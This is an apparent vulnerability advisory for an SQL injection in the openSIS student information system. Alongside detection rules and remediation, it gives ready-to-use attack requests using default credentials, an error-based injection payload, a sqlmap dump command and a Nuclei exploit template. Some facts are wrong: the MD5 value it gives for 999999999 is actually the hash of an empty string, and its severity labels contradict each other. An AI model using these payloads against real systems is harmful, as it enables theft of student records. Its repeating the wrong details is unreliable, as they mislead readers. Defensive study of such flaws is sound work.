CVE-2021-41691

Executive Summary

CVE-2021-41691 is a critical SQL injection vulnerability in OS4Ed openSIS Community v8.0, a widely used open-source Student Information System. The flaw resides in the /TransferredOutModal.php endpoint, where the student_id and TRANSFER[SCHOOL] POST parameters are not sanitized before being used in SQL queries. An authenticated attacker with low-privilege credentials (e.g., default student/student@123) can exploit this to execute arbitrary SQL commands, leading to data exfiltration, credential theft, or full database compromise. The vulnerability has a public proof-of-concept (PoC) and a Nuclei template, making it easily exploitable. No official patch exists, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This is a PHP-based web application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication as a student or higher.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability is trivial to exploit with default credentials, and the impact is severe.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the student_id parameter of the POST request to /TransferredOutModal.php?modfunc=detail. The application directly concatenates user input into SQL queries without parameterization or escaping. The vulnerable code path likely resembles:

$student_id = $_POST['student_id'];
$sql = "SELECT * FROM students WHERE student_id = '$student_id'";
$result = mysqli_query($conn, $sql);

An attacker can inject SQL commands by providing a payload such as:

student_id=updatexml(0x23,concat(1,md5(999999999)),1)

This payload uses updatexml() to trigger an error that reveals database information, but more sophisticated payloads can be used for data extraction or command execution.

The TRANSFER[SCHOOL] parameter is also injectable, providing an additional attack vector.

Vulnerable vs. Patched Code

Vulnerable Code (openSIS 8.0):

// TransferredOutModal.php (simplified)
$student_id = $_POST['student_id'];
$sql = "SELECT COUNT(STUDENT_ID) FROM students WHERE student_id = '$student_id'";
$result = DBQuery($sql);

Patched Code (hypothetical):

// TransferredOutModal.php (patched)
$student_id = intval($_POST['student_id']); // or use prepared statements
$sql = "SELECT COUNT(STUDENT_ID) FROM students WHERE student_id = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $student_id);
$stmt->execute();

No official patch exists. The vendor has not released a fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of openSIS Community v8.0.
• Default credentials: student / student@123.

Exploitation Steps:

1. Authenticate to the application:

   POST /index.php HTTP/1.1
   Host: target.local
   Content-Type: application/x-www-form-urlencoded
   
   USERNAME=student&PASSWORD=student@123&language=en&log=
   

2. Send the malicious POST request to the vulnerable endpoint:

   POST /TransferredOutModal.php?modfunc=detail HTTP/1.1
   Host: target.local
   Content-Type: application/x-www-form-urlencoded
   
   student_id=updatexml(0x23,concat(1,md5(999999999)),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
   

3. Observe the error message in the response, which will contain the MD5 hash of 999999999 (i.e., d41d8cd98f00b204e9800998ecf8427e), confirming SQL injection.

Advanced Exploitation:

• Use sqlmap to automate data extraction:

  sqlmap -u "http://target.local/TransferredOutModal.php?modfunc=detail" --data="student_id=1&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5" --cookie="PHPSESSID=..." --batch --dump
  

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /TransferredOutModal.php with unusual student_id parameters (e.g., containing updatexml, concat, md5, or SQL keywords).
• Alert on error messages containing "SQL STATEMENT:" in the response body.

Mitigation:

• Immediately restrict access to the vulnerable endpoint using a WAF rule.
• Implement input validation and parameterized queries.
• Change default credentials and enforce strong password policies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /TransferredOutModal.php?modfunc=detail with student_id containing SQL keywords.
  • Response bodies containing <!-- SQL STATEMENT: followed by SQL queries.
• File IOCs:
  • Suspicious entries in web server access logs (e.g., updatexml, concat, md5 in the request body).
• Database IOCs:
  • Unexpected error messages in database logs.
  • Unauthorized queries to system tables (e.g., information_schema).

Detection Engineering

YARA Rule

rule CVE_2021_41691_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2021-41691 in openSIS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-41691"
    strings:
        $sqli1 = "updatexml" nocase
        $sqli2 = "concat" nocase
        $sqli3 = "md5" nocase
        $sqli4 = "SELECT COUNT(STUDENT_ID)" nocase
        $sqli5 = "TRANSFER[SCHOOL]" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2021-41691 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against openSIS TransferredOutModal.php
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41691
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/TransferredOutModal.php?modfunc=detail'
        cs-uri-post: 'student_id=*updatexml*'
    condition: selection
falsepositives:
    - Legitimate use of updatexml in rare cases (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-41691 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/TransferredOutModal.php?modfunc=detail"; http_uri;
    content:"student_id="; http_client_body;
    content:"updatexml"; http_client_body; distance:0;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2021-41691;
)

Nuclei Template (Provided)

id: CVE-2021-41691

info:
  name: openSIS Student Information System 8.0 SQL Injection
  author: Bartu Utku SARP
  severity: high
  description: openSIS Student Information System version 8.0 is susceptible to SQL injection via the student_id and TRANSFER[SCHOOL] parameters in POST request sent to /TransferredOutModal.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of openSIS Student Information System to mitigate the SQL Injection vulnerability (CVE-2021-41691).
  reference:
    - https://securityforeveryone.com/blog/opensis-student-information-system-0-day-vulnerability-cve-2021-41691
    - https://www.exploit-db.com/exploits/50637
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4169
  classification:
    cve-id: CVE-2021-41691
    epss-score: 0.03032
    epss-percentile: 0.867
  metadata:
    max-request: 2
  tags: cve,cve2021,sqli,auth,edb,opensis,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        USERNAME={{username}}&PASSWORD={{password}}&language=en&log=
      - |
        POST /TransferredOutModal.php?modfunc=detail HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        student_id=updatexml(0x23,concat(1,md5({{num}})),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5

    attack: pitchfork
    payloads:
      username:
        - student
      password:
        - student@123
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<!-- SQL STATEMENT:") && contains(body_2, "SELECT COUNT(STUDENT_ID)")'
          - 'status_code_2 == 200'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable application from the internet if possible.
2. Deploy a WAF with rules to block SQL injection patterns (e.g., updatexml, concat, md5).
3. Change all default credentials immediately.
4. Monitor logs for exploitation attempts.

Long-Term Fix:

• Since no official patch exists, consider migrating to a supported fork or implementing a custom fix:
  • Replace all dynamic SQL queries with prepared statements (parameterized queries).
  • Implement strict input validation (e.g., allow only numeric values for student_id).
  • Apply the principle of least privilege to the database user.

Workaround:

• Disable the /TransferredOutModal.php endpoint if not required, or restrict access via .htaccess:

  <Files "TransferredOutModal.php">
      Require all denied
  </Files>
  

Valters IT

{/* [Security Hash: 0C8BF34C6140C2F41CDCF869] */}